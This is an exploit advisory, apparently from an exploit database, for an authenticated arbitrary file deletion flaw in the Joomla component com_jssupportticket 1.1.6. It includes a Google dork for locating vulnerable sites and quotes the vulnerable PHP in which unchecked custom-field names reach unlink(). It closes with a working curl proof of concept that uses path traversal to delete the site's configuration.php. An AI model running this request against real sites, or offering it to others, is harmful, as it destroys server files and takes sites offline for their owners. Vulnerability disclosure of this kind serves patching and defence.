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#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 10.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.6 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### This vulnerability is caused when processing custom user field. file: admin/models/ticket.php function: storeTicket 54 function storeTicket($data){ ...snip... 75 $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1); 76 $params = array(); 77 foreach ($userfield AS $ufobj) { 78 $vardata = ''; ...snip... 121 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){ 122 $customflagfordelete = true; 123 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //no check. ...snip... 198 if($customflagfordelete == true){ 199 foreach ($custom_field_namesfordelete as $key) { 200 $res = $this->removeFileCustom($ticketid,$key); //!!! 201 } 202 } ...snip... 1508 function removeFileCustom($id, $key){ 1509 $filename = str_replace(' ', '_', $key); 1510 1511 if(! is_numeric($id)) 1512 return; 1513 1514 $db = JFactory::getDbo(); 1515 $config = $this->getJSModel('config')->getConfigByFor('default'); 1516 $datadirectory = $config['data_directory']; 1517 1518 $base = JPATH_BASE; 1519 if(JFactory::getApplication()->isAdmin()){ 1520 $base = substr($base, 0, strlen($base) - 14); //remove administrator 1521 } 1522 1523 $path = $base . '/' . $datadirectory. '/attachmentdata/ticket'; 1524 1525 $query = "SELECT attachmentdir FROM <code>#__js_ticket_tickets</code> WHERE id = ".$id; 1526 $db->setQuery($query); 1527 $foldername = $db->loadResult(); 1528 $userpath = $path . '/' . $foldername.'/'.$filename; 1529 unlink($userpath); //!!! 1530 return; 1531 } ##################################### #PoC: ##################################### When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request. $> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php' |
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